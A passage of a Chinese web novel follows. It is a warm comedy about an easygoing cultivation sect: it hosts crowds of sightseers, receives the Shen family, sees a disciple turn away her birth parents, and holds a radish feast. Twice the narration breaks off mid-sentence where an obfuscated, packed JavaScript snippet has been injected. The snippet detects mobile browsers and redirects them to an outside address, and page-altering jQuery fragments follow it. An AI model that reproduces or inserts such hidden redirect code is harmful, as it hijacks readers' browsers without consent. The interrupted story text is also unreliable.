祁幻点了点头,连说话的力气都没了。 沈彻看了看他们,又看了看空荡荡的院子,遗憾地叹了口气。 “那我明天早点来。” 典星河躺在摇椅上,慢悠悠地晃着。 “明天还有。”她说。 沈彻眼睛一亮:“真的?” 典星河点点头:“论坛上已经排到三天后了。” 沈彻高兴了,立刻精神起来:“那我明天来帮忙!” 夜深了,众人各自回屋。 归尘一个人坐在歪脖子树下,看着月亮。 典星河走过来,在他旁边蹲下。 “前辈,”她轻声问,“今天烦吗?” 归尘想了想。 “还好。”他说。 典星河笑了。 “我还以为你会烦。” 归尘摇摇头。 “他们好奇。”他说,“正常。” 典星河点点头。 两人一起看着月亮。 过了很久,归尘忽然开口。 “今天有个人问我,是不是渡劫期。” 典星河侧头看他。 “你怎么说的?” 归尘嘴角弯了弯。 “让他猜。” 典星河笑了。 “前辈,你越来越坏了。” 【沈彻日记·其六】 某年某月某日晴 今天来晚了。 到的时候,第一批游客已经走了,第二批正在参观,第三批还在排队。山门外人声鼎沸,热闹得像赶集。 祁幻坐在石凳上记账,手都在抖,笔尖在纸上游走,刷刷刷写个不停。我凑过去看了一眼,好家伙,一整页全是数字,密密麻麻的,看得我眼晕。 牧殇刚送走一批游客,瘫在旁边喝水,嗓子彻底报废了。我跟他打招呼,他只能冲我比划,嘴里发出一些意义不明的声音。 宋栀子躲在厨房里不敢出来,怕被围观。她偷偷扒着门缝往外看,被我发现了,赶紧缩回去。 穆惇师姐拿着锄头守在灵田边,谁敢靠近就瞪谁。有几个不长眼的想凑近看看萝卜,被她一个眼神瞪回去,乖乖绕道走。 安然前辈在整理衣襟,徐修前辈在喝酒,两人都很淡定,仿佛这些热闹跟他们毫无关系。 最淡定的还是归尘前辈。 他坐在树下嗑瓜子,身边围了一圈人。他就那么嗑,一颗一颗,不紧不慢,完全无视那些围观的目光。有人问他是不是渡劫期,他说“你猜”。那人被敲了一下脑袋,出去之后逢人就说“我被渡劫期大佬敲了”。 然后来排队的人更多了。 我突然有点明白,什么叫“人气”。 不是你在意别人,是别人在意你。 而你在意不在意,他们都来。 归尘前辈就是这种。 他在意吗?我看是不在意的。 但他就是让人想来看。 今天没蹭到饭,人太多了。 明天早点来。 (顺便说一句,祁幻今天记账的手一直在抖,我怀疑他明天手腕会疼。) (明天要给他带点药。) 30. 沈家回访 三天后,躺平宗关了参观服务,理由是来人太多,已经严重影响到宗门众人的正常生活。 典星河在论坛上发了个公告,大意是说“想来的等下次,不定期开放,别问了,再问门票涨价”。 评论区一片哀嚎,但也无可奈何。 这三天里,沈彻可谓是出钱出力又出人。 第一天他来得最早,帮着祁幻维持秩序,嗓子都喊哑了。第二天他带来了二十个沈家的护卫,帮忙疏导人流,还自掏腰包买了十箱水,分发给排队的游客。第三天他干脆把自己珍藏的那些灵果点心都拿出来,说是给累惨了的众人补充体力。 用他自己的话说:“我这挂名弟子,得对得起那一百两。” 祁幻听了,默默在账本上加了一行小字:“沈彻三日贡献:人力若干,物资若干,心意无价。备注:这人不赖。” 这天,他又来了。 沈彻这次骑的不是凤凰,也不是穿云兽,而是一头看起来就很贵的灵兽——通体雪白,鬃毛如缎,头上长着一只晶莹剔透的角,背上的鞍座镶着金边,在阳光下熠熠生辉。 祁幻看着那头灵兽,眼睛都直了。 “这是什么?”他忍不住问。 沈彻从兽背上跳下来,一脸得意,拍了拍那灵兽的脖子。 “独角兽!” 祁幻沉默了。 牧殇凑过来,伸手摸了摸那头独角兽的毛,那触感让他忍不住发出一声惊叹。 “好软。”他说,又摸了一把,“真的好软。” 独角兽打了个响鼻,似乎对他的抚摸颇为受用。 沈彻点点头,语气里带着几分骄傲:“我爹的坐骑。他今天也来了。” 众人齐齐愣住了。 沈彻往旁边让了让,指向山门外。 众人顺着他手指的方向看去—— 山门外,整整齐齐停着三辆华丽的马车,每一辆都由四头雪白的灵兽拉着,车厢上雕刻着精致的花纹,流苏在风中轻轻摇曳。马车旁边站着几十个随从,个个衣着光鲜,手里捧着各色礼盒,神情恭谨。 最前面那辆马车的车门打开,走下来两个人。 一个是沈彻的父亲,沈家家主沈远。他穿着一身玄色锦袍,面容威严,目光沉稳,一看就是久居高位的人物。 另一个坐在轮椅上,被人缓缓推着前行。 是沈家老祖,沈明章。 典星河从摇椅上坐起来,往山门外看了一眼,又躺下去了。 “沈彻,”她懒洋洋地开口,声音里带着几分调侃,“你带这么多人,是想把咱们吃穷?” 沈彻赶紧跑过来,一脸诚恳。 “星河姐!不是不是!他们是来玩的!就是来坐坐!不蹭饭!他们自己带吃的!” 沈远刚好走到近前,听见这话,嘴角微微抽了抽。 “彻儿,”他问,语气里带着几分无奈,“什么叫‘他们自己带吃的’?” 沈彻眨眨眼,回答得理直气壮。 “就……咱们带食材来,让穆惇师姐帮忙做?” 沈远沉默了。 他看了看自己带来的那些随从和礼盒,又看了看沈彻那张无辜的脸,忽然有点怀疑这儿子到底是不是亲生的。 沈家老祖在后面笑了,笑声爽朗。 “行了行了,”他说,“带什么都行,先进去坐坐。站了这么久,我这把老骨头都快散架了。” 典星河这才慢悠悠地站起来,掸了掸衣摆。 “请进。”她说,“记得脱鞋。” 沈明章愣了一下。 “脱鞋?” 典星河指了指主殿门口,神情认真。 “新铺的地板,别踩脏了。” 沈明章低头看了看自己的轮椅,又看了看那扇门,一时有些为难。 “我这……” 典星河摆摆手,很大方地表示。 “轮椅不用。”她说,“推慢点就行。” 沈明章笑了。 “好。”他说,“推慢点。” 随从小心翼翼地推着轮椅,缓缓进入主殿。 主殿里,归尘、徐修、安然三个人已经坐好了,面前摆着茶具和几碟点心。 沈明章被推进来,看见他们,拱了拱手。 “三位前辈,又见面了。” 归尘点点头,算是打过招呼。 徐修举起酒壶,遥遥致意。 安然则站起身,亲自帮他倒了一杯茶,双手递过去。 “请。”他说。 沈明章接过茶,低头闻了闻,然后轻轻抿了一口。 “好茶。”他赞道,又品了品,“这味道……不是凡品。” 安然点点头,神情淡然。 “自己种的。”他说。 沈明章愣了一下。 “您还会种茶?” 安然整理了一下衣襟,动作一如既往地细致。 “闲着没事,就种了点。”他说,“比外面买的干净,喝得放心。” 沈明章笑了。 “还是您讲究。”他说。 安然点点头,算是默认。 四人围坐着喝茶,气氛难得的平和。 沈明章看着归尘,沉默了一会儿,忽然开口。 “上次见面,是来道歉。”他说,“这次来,是来回访。算是……正式认个门。” 归尘点点头,没有多说什么。 沈明章环顾四周,目光在殿内扫过,最后落在门外那群闹腾的人身上。 “你们这儿,比我想象的热闹。”他说,“我原本以为会是那种……苦大仇深、整天板着脸的地方。” 徐修在旁边接话,语气里带着几分自嘲。 “我们也以为。”他说,“后来发现,板着脸太累。活着嘛,还是笑好。” 沈明章大笑。 “有道理!”他说,“太有道理了!早知道你们这么好相处,我三百年前就该来。” 安然给他添了杯茶,顺口问道。 “你这些年,身体怎么样?” 沈明章摆摆手,神情坦然。 “还行还行,就是腿不行了。”他说,“坐轮椅坐了三百年,早就习惯了。人老了嘛,总得有点毛病。” 归尘看着他,忽然问了一句。 “坐轮椅累吗?” 沈明章想了想,认真地回答。 “还行。”他说,“就是去哪儿都不方便,上台阶要人抬,下坡得小心翻。不过习惯了,也就那样。” 归尘点点头,若有所思。 “蹲着也挺累。”他说。 沈明章愣了一下,然后大笑起来。 “你这个‘蹲着’,可是名扬修仙界了。”他说,“论坛上都在说,渡劫期大佬不爱打坐不爱练功,就爱蹲着嗑瓜子。有人还给你起了个外号,叫‘蹲神’。” 归尘没说话,稚低低笑了一声。 院子里,沈彻正带着他父亲到处参观,兴致勃勃地介绍着每一处地方。 “爹!你看这个!灵田!穆师姐种萝卜的地方!” 沈远看着那片绿油油的萝卜苗,点了点头。 “长得不错。”他说,“土壤也肥沃,看得出来是用了心的。” 穆惇正在旁边锄地,听见这话,抬起头看了他一眼。 那一眼平平无奇,没有任何表情。 但沈远对上她的目光,还是愣了一下。 沈远很快反应过来,拱了拱手,算是打过招呼。 穆惇点点头,算是回应,然后继续低头锄地,动作不紧不慢。 沈远站在原地,不知道该走还是该留。 沈彻拉着他继续走,兴致不减。 “爹!这边!秋千!宋师姐最爱玩的!” 宋栀子正好从秋千上跳下来,落地时踉跄了一下,差点摔倒。她稳住身形,抬头看见沈远,眨了眨眼。 “沈叔叔好!” 沈远愣了愣。 “你认识我?” 宋栀子点点头,一脸理所当然。 “沈彻哥老提你!”她说,“说你做的红烧肉特别好吃,是全天下最好吃的!” 沈远看向沈彻,目光里带着几分询问。 沈彻挠挠头,有些不好意思。 “那个……我就随口一说……” 沈远笑了。他平日里见惯了各种场面,却还是第一次遇到这么直白的打招呼方式。 “下次来,我让人带一份。”他对宋栀子说,语气里带着几分纵容。 宋栀子眼睛亮了。 “真的?” 沈远点点头。 “真的。” 祁幻蹲在角落里记账,神情专注。 沈远不知何时走了过来,在他旁边蹲下。 祁幻吓了一跳,差点把账本扔出去。 “沈、沈家主?” 沈远摆摆手,示意他不用紧张。 “我就是看看。”他说,目光落在祁幻手里的账本上。 那本账本密密麻麻记满了各种收支,字迹工整,条目清晰。 沈远看了一会儿,点了点头。 “你这账,记得挺细。”他说。 祁幻挠挠头,有些不好意思。 “还、还行……” 沈远指着其中一行,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“归尘前辈。”他说,“叨扰了。” 归尘抬起头,冲他点了点头。 沈彻站在旁边,对他爹摆摆手。 “爹慢走!我晚点回去!” 沈远看了他一眼,笑着摇摇头。 “行。”他说,“你蹭你的饭,我先走了。” 沈彻高兴了,笑得像个得了糖的孩子。 沈家老祖被推上马车,马车缓缓启动。 走了几步,沈明章从车窗探出头来。 “典掌门!”他喊。 典星河躺在摇椅上,睁开眼。 “嗯?” 沈明章笑了,学着她之前的语气说道。 “下次来沈家,记得带礼物!” 典星河愣了一下,然后笑了。 “行!”她说,“下次带!” 马车渐渐远去,消失在暮色里。 晚上,众人又围坐在主殿门口。 穆惇做了满满一桌子菜,比平时还丰盛。红烧肉、炖鸡汤、清蒸鱼、炒青菜,还有一大锅萝卜汤,香气飘满了整个院子。 沈彻吃得满嘴流油,一边吃一边夸。 “穆师姐!你这手艺!绝了!” 穆惇看了他一眼,淡淡问道。 “你爹做的红烧肉,什么时候送来?” 沈彻愣了愣,然后笑了。 “明天!”他说,“我明天带来!” 祁幻在旁边记账,一笔一划写得认真。 “今日支出:肉五斤二百文,菜若干五十文。今日进账:无。心情:很好。” 他写完,抬头看了一眼牧殇。 牧殇正在和沈念聊天,笑得嘎嘎的,完全停不下来。 【沈彻日记·其十四】 某年某月某日晴 今天带爹和老祖来躺平宗做客。 不是道歉,就是纯做客。 老祖和归尘前辈他们喝茶聊天,聊得挺开心。我爹被牧殇拉着聊了半个时辰,居然聊到主动提问。宋师姐一句话就让我爹答应带红烧肉来。 祁幻在记账,我爹还蹲过去看了半天,夸他账记得好。 穆惇师姐还是一如往常,面无表情,但我爹夸她萝卜种得好,她点了点头。这对她来说,已经是很给面子了。 最后走的时候,老祖说让下次我们去沈家玩。典星河说“记得带礼物”。老祖学她,她也笑了。 我突然觉得,这两家,好像真的和解了。 不是那种“我们道歉你原谅”的和解。 是那种可以一起喝茶、一起聊天、一起嗑瓜子的和解。 真好。 (明天带红烧肉来。) (宋师姐肯定高兴。) (我也高兴。) 31. 宋栀子的选择 那天本来是个寻常的日子,寻常得和躺平宗过去几百个日子没有任何区别。 太阳照常从东山头爬起来,把歪脖子树的影子慢悠悠地投射在院子里。宋栀子的发明照常炸了——这次炸的是厨房门口那个刚搭起来没几天的小棚子,不过威力不大,只是塌了个角,几根竹片歪歪扭扭地支棱着。 祁幻走过来看了两眼,叹了口气,在账本上工工整整地记下一笔:“维修费三十文”,然后继续去做他的事。 牧殇照常追着沈念聊天;穆惇照常在灵田里锄地,动作不紧不慢,一下一下,把那些刚冒头的杂草清理得干干净净。沈彻照常蹲在一边等着蹭饭,一边等一边嗑瓜子,嗑得不亦乐乎。安然照常站在屋檐下整理衣襟,把每一个褶皱都抚平,仿佛那是什么了不得的大事。 徐修照常坐在石凳上喝酒,喝一口,眯着眼回味一下,再喝一口。归尘照常蹲在歪脖子树下嗑瓜子,一颗一颗,不紧不慢,阳光透过枝叶洒在他身上,白发泛着淡淡的光。典星河照常躺在摇椅上晒太阳,闭着眼睛,也不知道是睡着了还是在想事情。 一切都很正常,正常得让人想打哈欠。 直到山门外来了两个人。 祁幻最先看见他们。那是一男一女,穿着普通甚至有些寒酸的衣裳,风尘仆仆,看起来赶了很远很远的路。他们站在山门外,没有进来,只是站在牌匾下往里张望,神情里带着几分忐忑,几分期待,还有几分说不清的复杂。 祁幻放下账本,站起身走了过去。 “你们找谁?”他问,语气里带着几分例行公事的随意。 那女人开口了,声音有些沙哑,像是很久没有好好说过话。 “请问……这里是不是有一个叫宋栀子的姑娘?” 祁幻愣住了。 找栀子的? 消息传到院子里的时候,所有人都停下了手里的动作,像是被谁按下了暂停键。 只有宋栀子还蹲在厨房门口,埋头研究她那堆半成品的零件,对山门外发生的一切浑然不觉。 典星河站起身,掸了掸衣摆,不紧不慢地走到山门口。 那对夫妇看见她,似乎感觉到了什么,态度更加恭谨起来,身子微微躬着,目光却忍不住往里瞟。 “请问……”那男人开口,声音比那女人还要沙哑,“宋栀子是不是在这里?” 典星河没有回答,只是看着他们,目光平静得像在看两块石头。 “你们是谁?” 那女人的眼眶瞬间红了,泪水在里面打着转。 “我们是……她的亲生父母。” 这话像一颗石子投入平静的湖面,激起层层涟漪。 院子里更安静了。安静得能听见风吹过歪脖子树的声音,能听见远处山鸟的啼鸣,能听见自己的心跳。 典星河沉默了很久。 然后她转过身,对着院子里喊了一声。 “栀子。” 宋栀子抬起头,手里还拿着一个半成品的零件,脸上沾着一点灰。 “掌门?” 典星河看着她,声音平静得听不出任何情绪。 “有人找你。” 宋栀子愣了一下,然后站起身,拍了拍裙子上的灰,把那零件往口袋里一塞,蹦蹦跳跳地走过来。 她走到山门口,看见了那对夫妇。 然后她停住了。 宋栀子站在那里,一动不动。 她看着那两个人,眼睛一眨不眨。 那两个人也看着她,目光里带着难以言喻的复杂。 六目相对,谁都没有说话。 那女人看着宋栀子,眼泪已经开始往下掉,一颗一颗,砸在脚下的泥土里。 她张了张嘴,想说什么,却一个字都说不出来,喉咙像是被什么东西堵住了。 那男人站在她旁边,眼眶也红着,嘴唇微微颤抖,手指攥着衣角,格外局促。 宋栀子看着他们,脸上没有任何表情。 就只是看着。 看了很久很久。 久到牧殇忍不住想上前,被穆惇一把拉住手腕。 终于,那女人开口了,声音哽咽得几乎破碎。 “栀子……我、我们是……” “我知道。”宋栀子打断了她。 那声音平静得很,平静得不像是一个十六岁的姑娘能发出来的。平静得像是在说今天天气不错,像是在说早饭吃了什么。 那女人愣住了。 宋栀子看着她,又看了看她身边的男人。 “你们来找我做什么?” 那男人深吸一口气,努力让声音平稳下来,却还是带着几分颤抖。 “我们……我们想带你回去。” “回去?”宋栀子重复了一遍这个词,语气里带着几分意味不明的东西,“回哪儿?” “回家。”那女人急切地说,像是怕她不理解,“回我们家。当年我们……我们是有苦衷的……” 宋栀子没有打断她,只是安静地听着,目光平静得像一潭深水。 那女人继续说下去,语无伦次,颠三倒四,说当年太穷,说养不起,说以为送到宗门会有好日子,说后来找了很多年,说终于打听到在这里,说这些年他们一直在后悔,说想把她接回去好好补偿。 她说得泪流满面,说得声嘶力竭,说得那男人也在旁边频频点头,不断附和,眼眶红得像兔子。 宋栀子听着,一言不发。 等那女人说完,等她的哭声渐渐变成抽泣,等那男人也不再说话,她才开口。 “说完了?” 那女人愣住了。 宋栀子看着她,又看了看那男人。 然后她笑了。 那笑容很淡,淡得像春天里飘过的一缕风,像清晨荷叶上滚落的一滴露水,像什么都没有发生过。 “你们走吧。”她说。 走? 那对夫妇彻底愣住了。 “栀子……”那女人颤声道,声音里带着难以置信,“你、你不跟我们回去?” 宋栀子摇摇头。动作不大,却坚定得像一块石头。 “不。” 那男人急了,上前一步,几乎要跨进山门。 “我们真的是你亲生父母!可以问当年的人!我们没骗你!” 宋栀子看着他,目光平静得像一潭没有波纹的水。 “我知道。”她说,“我没说你们骗我。” 那男人愣住了,嘴巴张了又合,合了又张。 “那、那你为什么不跟我们回去?” 宋栀子沉默了一会儿。 然后她回过头,看了一眼身后。 归尘不知道什么时候站了起来,白发在阳光下格外显眼。典星河靠在门框上,懒洋洋地看着这一切。 都看着她。 她转回头,看向那对夫妇。 “我有家了。”她说。 那四个字,轻飘飘的,却像是有什么重量。 那女人张了张嘴,想说什么,却被堵在喉咙里,一个字都挤不出来。 那男人也沉默了,肩膀垮了下来。 宋栀子看着他们,忽然问了一句。 “当年,你们把我丢在宗门门口的时候,有没有想过,我会有另一个家?” 那女人的眼泪又涌了出来,大颗大颗地往下掉。 “我们……我们是有苦衷的……”她的声音已经破碎得不成样子。 宋栀子点点头。 “我知道。”她说,语气平静得像在陈述一个事实,“你们有苦衷。你们穷,养不起。你们以为送给别人会有好日子。你们后来找了很多年。你们是真的想带我回去。” 她顿了顿。 “但你们不是我家人。” 那女人的哭声卡在喉咙里,变成了一种压抑的呜咽。 宋栀子又笑了,还是那个淡淡的笑容。 “我家人,在里面。”她说着,回过头又看了一眼院子,“他们会给我做饭,会教我阵法,会让我炸东西,会在我难过的时候陪我。他们从来没想过把我丢掉。” 她看着那对夫妇。 “你们走吧。” 那男人还想说什么,却被那女人拉住了。 那女人看着宋栀子,看了很久很久。 然后她深深地鞠了一躬,弯下腰,几乎要贴到地面。 “对不起。”她说。 她直起身,拉着那男人,转身离开。 他们的背影在土路上越来越远,越来越小,最后消失在远处的山坡后面。 宋栀子站在原地,看着那个方向,看了很久。 然后她转过身,走回院子里。 她走回厨房门口,在那个半成品的零件旁边蹲下,继续研究起来,仿佛只是出去上了一趟茅房。 所有人都看着她。 没有人说话。 过了好一会儿,牧殇忍不住了,挣开穆惇的手,凑过去小声问。 “栀子,你……没事吧?” 宋栀子抬起头,看着他,眨了眨眼。 “没事啊。”她说,语气正常得不能再正常,“怎么了?” 牧殇噎住了,嘴巴张着,不知道该说什么。 祁幻在旁边小声说:“那个……刚才那两个人……” 宋栀子点点头,神情坦然。 “嗯,是我亲生父母。” 众人沉默了。 宋栀子低头继续摆弄零件,过了几秒,又抬起头。 “你们怎么都站着?”她问,目光从每个人脸上扫过,“不干活吗?” 没人动。 宋栀子眨了眨眼,忽然笑了。 那笑容比刚才对那对夫妇的笑,灿烂得多,像是把整张脸都点亮了。 “我真的没事。”她说,“他们对我来说,就是陌生人。我都不记得他们长什么样。你们才是我家人。” 她顿了顿,又补了一句。 “师父做的点心比他们的话好吃多了。” 安然在旁边,嘴角微微弯了弯。 晚上,宋栀子一个人坐在小亭子里,荡着秋千。 月光洒下来,照在她脸上,照出那双亮晶晶的眼睛。她看着月亮,轻轻晃着,裙摆在夜色里划出柔和的弧线。 安然走过来,在她旁边坐下。 宋栀子转头看他。 “师父?” 安然没说话,只是从怀里掏出一块点心,递给她。 宋栀子接过来,咬了一口。 “好吃。”她说,腮帮子鼓鼓的。 安然点点头。 两人沉默了一会儿。 安然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387692|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然开口。 “你刚才说的那些话,是真的吗?” 宋栀子愣了一下。 “什么话?” 安然看着月亮,声音很轻。 “你说他们是陌生人。” 宋栀子沉默了一会儿。 然后她笑了。 “师父,你知道吗,我小时候经常做梦,梦见有人来接我。” 安然听着,没有打断。 宋栀子继续说,声音轻得像风。 “梦里那些人,我看不清脸。但他们牵着我的手,说要带我回家。我每次都跟他们走。走着走着,就醒了。” 她顿了顿。 “后来我就不做梦了。” 安然看着她。 宋栀子晃了晃秋千,脚在空气里轻轻踢着。 “因为我有家了。不用做梦了。” 安然沉默了很久。 然后他伸出手,在她脑袋上轻轻拍了拍。 “丫头。”他说。 宋栀子抬头看他。 安然没有看她,只是看着月亮。 “以后不管发生什么,师父都在。” 宋栀子愣了一会儿。 然后她笑了,笑得眼睛弯成月牙。 “我知道啊。”她说,“不然我怎么会让他们走?” 安然转头看她。 宋栀子眨眨眼。 “师父,你是不是以为我会难过?” 安然没说话。 宋栀子从秋千上跳下来,走到他面前,仰着头看他。 “师父,我真的不难过。”她说,“我有你,有掌门,有师姐,有师兄,有沈念,有沈彻,有归尘爷爷,有徐修师伯。这么多人,我难过什么?” 安然看着她,眼眶微微发红。 宋栀子伸手,在他肩上拍了拍。 “师父,你别难过。”她说,“你做的点心很好吃,我就很高兴了。” 安然愣了愣,然后笑了。 “好。”他说。 夜深了,众人各自回屋。 宋栀子躺在她的小床上,看着窗外的月光。月光从窗缝里漏进来,洒在枕头上,洒在她脸上。 门轻轻推开,几个人影探进来。 牧殇第一个,把脑袋探进来,小声问:“睡了没?” 宋栀子睁开眼。 “没有。” 牧殇挤进来,后面跟着祁幻,跟着沈念,跟着沈彻。 四个人挤在门口,挤成一团,看着宋栀子。 宋栀子坐起来,抱着被子。 “你们干嘛?” 牧殇挠挠头,有些不好意思。 “那个……我们就是来看看你……” 祁幻点点头,一脸认真:“嗯,怕你……” 宋栀子眨眨眼。 “怕我哭?” 四人齐刷刷点头,动作整齐得像排练过。 宋栀子笑了。 “我才不哭呢。”她说,“你们快回去睡觉。” 牧殇还想说什么,被沈念拉了一把。 “走吧。”沈念小声说,“她真没事。” 四人悄悄退出去,门轻轻关上。 宋栀子又躺回去,看着月光。 过了一会儿,门又开了。 归尘走进来。 他在床边蹲下,从怀里掏出一颗糖,放在她枕边。 宋栀子看着他。 归尘没说话,只是点了点头,然后站起身,走了出去。 宋栀子拿起那颗糖,剥开糖纸,放进嘴里。 甜的。 她笑了,对着空荡荡的房间。 有这群人的地方才是家。 第二天早上,太阳照常升起。 宋栀子的发明照常炸了——这次炸的是柴房门口的一个小花盆,威力不大,只是崩了那盆花,土撒了一地。 祁幻走过来看了两眼,叹了口气,在账本上记了一笔。 “宋栀子炸花盆一个。赔偿:无。心情:习惯就好。” 一切都很正常。 只是早饭的时候,宋栀子多吃了两个馒头。 安然看着她,嘴角弯了弯。 宋栀子抬头,对上他的目光。 “师父,你看我干嘛?” 安然摇摇头。 “没什么。” 宋栀子眨眨眼,又低头继续吃。 牧殇在旁边小声说:“她今天胃口真好。” 祁幻点点头,在账本上又加了一行小字。 “宋栀子今日食量:比平时多两个馒头。心情:很好。” 【沈彻日记·其八】 某年某月某日晴 今天发生了一件事。 一对夫妇来宗门,说是宋师姐的亲生父母,说要带她回家。 师姐赶他们走,说我们才是她的家人。 我今天一直在想,什么叫家。 是生你的人吗?还是养你的人?是给你饭吃的人吗?还是陪你笑的人? 宋师姐说,她有家了。 她说这句话的时候,眼睛很亮。 我突然有点羡慕她。 不是羡慕她有人疼。 是羡慕她知道,自己在哪儿。 (明天还来。) (顺便带点糖,师姐爱吃。) 32. 萝卜宴 两个月的时间,说长不长,说短不短。 长到足够宋栀子又炸了十几次厨房、五次茅房、三次柴房,以及一次她自己也说不清是什么的地方。 短到宋栀子还没把那盒沈彻送的糖吃完,徐修那坛千年陈酿还没见底,安然新种的那片茶园才刚刚冒芽。 但有一个数字是确定的——萝卜熟了。 那天早上,穆惇蹲在灵田边,看着那片绿油油的萝卜叶,嘴角弯了弯。那弧度很浅,浅到几乎看不出来,但跟在她身后的沈彻看见了。 他刚要喊“穆师姐笑了”,就被穆惇回头看了一眼,那一眼平平无奇,却让他硬生生把话咽了回去。 “我没笑。”穆惇说。 沈彻提前三天就来了,说是要帮忙,但祁幻觉得他纯粹是想多吃几顿。毕竟这两个月里,沈彻来蹭饭的频率已经从“隔三差五”变成了“几乎每天”,有时候甚至干脆住下来,第二天蹭完早饭再走。典星河问过他为什么,他回答得理直气壮:“因为穆师姐做的饭好吃,而且热闹。” 热闹倒是真的。院子里那群人从早闹到晚,连带着沈彻也跟着忙前忙后。这次穆惇分配任务的时候,他挽起袖子,干劲十足地喊了一声“好嘞”,然后就被派去拔萝卜了。 拔萝卜这件事,看着简单,做起来却不容易。 沈彻蹲在田里,双手握住萝卜叶子,深吸一口气,用力一拔——萝卜纹丝不动。他换了个姿势,整个人都快趴在地上了,那萝卜还是纹丝不动。 穆惇走过来,看了他一眼,那眼神里写满了“你是不是傻”,然后伸出手,轻轻一提,萝卜就出来了,干干净净,整整齐齐,连土都没沾多少。 “用力不对,”她说,“要用巧劲。” 沈彻若有所思地点点头,接下来的时间里,他在不断摸索中被穆惇用那种眼神看了无数次,居然真的慢慢找到了窍门。 一个时辰后,他抱着满满一筐萝卜,笑得像个傻子,穆惇看了他一眼,说了句“还行”,他就高兴得差点蹦起来。 萝卜拔完了,接下来是洗萝卜。 沈彻主动请缨,蹲在水盆边把萝卜一个个放进去认真地搓洗。洗着洗着他发现问题了——“穆师姐,这萝卜怎么有的红有的白?”穆惇走过来看了一眼,说“品种不同,红的甜,白的脆”。 他又指着另一根歪七扭八的萝卜问“这根怎么是歪的”。 穆惇沉默了一秒,说“它想长什么样,就长什么样”。 沈彻愣了一下,然后把那根歪萝卜也洗得干干净净,和那些端正的萝卜放在一起。 洗完了就是切萝卜。穆惇亲自操刀,刀法利落,几刀下去一根萝卜就变成了均匀的薄片。 沈彻在旁边看得眼睛都直了,忍不住问能不能试试。穆惇看了他一眼,那一眼里他读出了很多内容,但还是硬着头皮说“就试一下”。 接过刀,深吸一口气,对着那根萝卜切下去——第一刀歪了,第二刀厚了,第三刀切到一半萝卜滚了。 他手忙脚乱地去抓,差点把刀扔出去,抬起头尴尬地看着穆惇。 穆惇接过刀,把他切的那几片萝卜拿起来看了看,说“可以煮汤”。 沈彻愣了愣,问“那也算有用”,穆惇点点头,说“算”。 傍晚的时候,厨房里飘出了浓郁的香气。穆惇站在灶台前,一锅萝卜汤正在咕嘟咕嘟地冒着热气,旁边还摆着几道菜——萝卜炖肉、清炒萝卜丝、凉拌萝卜皮,还有一盆萝卜馅的饺子正在包。 宋栀子坐在旁边认真地捏着饺子皮,包的饺子形状各异,有的像元宝,有的像小船,有的祁幻走过来看了半天也认不出是什么。 宋栀子眨眨眼说那是兔子,祁幻看了看那个形状诡异的“兔子”,决定不再追问。 牧殇也在帮忙,把包好的饺子一个个整整齐齐地摆在盘子里,摆着摆着就开始跟饺子说话,让它们待会儿下了锅别散。 沈彻负责烧火,坐在灶前往里面添柴,添着添着开始跟火苗聊天,让火大一点别太小。 沈念在旁边帮忙递东西,一脸无奈地看着这两个话痨。 安然在院子里摆桌子,徐修在旁边喝酒监工,典星河躺在摇椅上看着这一切,嘴角一直弯着。 归尘蹲在歪脖子树下嗑着瓜子,看着院子里忙忙碌碌的众人。夕阳把整个院子染成暖橙色,炊烟袅袅升起,和晚霞混在一起。 太阳快落山的时候,山门外来了一个人。祁幻抬头一看,愣住了——是沈惊鸿。 他站在山门口,手里提着一个礼盒,说是听说今天办萝卜宴,来凑个热闹。 祁幻还没反应过来,山门外又来人了,栖云子和凤栖并肩走来,凤栖手里也提着一个礼盒,栖云子抱着一坛酒,说不请自来别介意。紧接着又出现了一个沈家的随从,双手捧着一个精致的食盒,说沈家老祖腿脚不便就不亲自来了,但心意要到。 祁幻看着这突然冒出来的客人,整个人都是懵的。典星河从摇椅上坐起来,慢悠悠地走过来,看了一眼那几个人,说了句“来都来了,坐吧”。 天黑了,院子里的灯点了起来。宋栀子的不灭灯挂在亭子里,把整个院子照得亮堂堂的。桌子摆好了,菜上齐了,饺子下锅了,酒倒满了。 一圈人围坐在桌边,挤得满满当当——穆惇、牧殇、祁幻、宋栀子、安然、徐修、归尘、典星河、沈念、沈彻、沈惊鸿、栖云子、凤栖,还有一个沈家的随从被沈彻拉着不肯走,也坐下来一起吃了。 十四个人,把那张桌子围得密不透风。 牧殇端起酒杯站起来,说今天是萝卜宴,先敬穆师姐一杯。 众人举杯,穆惇看了他一眼,“话多。” 牧殇笑了,说那是当然,不然怎么当导游。 沈惊鸿坐在穆惇旁边,夹了一块萝卜炖肉尝了一口,说好吃。 栖云子和凤栖坐在一起,凤栖负责给他夹菜,栖云子负责吃,两人配合默契,看得旁边的沈彻一愣一愣的。 他小声问你们平时都这样,凤栖看了他一眼笑得意味深长,说习惯了。 徐修和安然坐在归尘旁边,三个人一边吃一边喝酒,偶尔说几句话,大部分时候只是安静地听着周围的热闹。 沈念坐在归尘另一边,时不时给他添点菜,归尘也不推辞,夹起来慢慢吃。 饺子出锅了,热气腾腾地被端上桌,白白胖胖的挤在盘子里。 宋栀子包的“兔子”也在里面,煮熟之后形状更加抽象,但没有人指出来。穆惇夹起一个饺子咬了一口,萝卜馅的,鲜甜。 她嚼了嚼,忽然愣了一下。牧殇看着她问怎么了,她摇摇头说没什么,就是想起一个人。 牧殇沉默了一瞬,然后笑了,说她也喜欢吃萝卜饺子。穆惇点点头,两人没有再说话,但嘴角都弯着。 宋栀子眨眨眼看了看他们,忽然说那个人一定也很可爱。 牧殇愣了一下问,“你怎么知道?” 宋栀子歪着头说:“因为你们想起她的时候都在笑啊”。

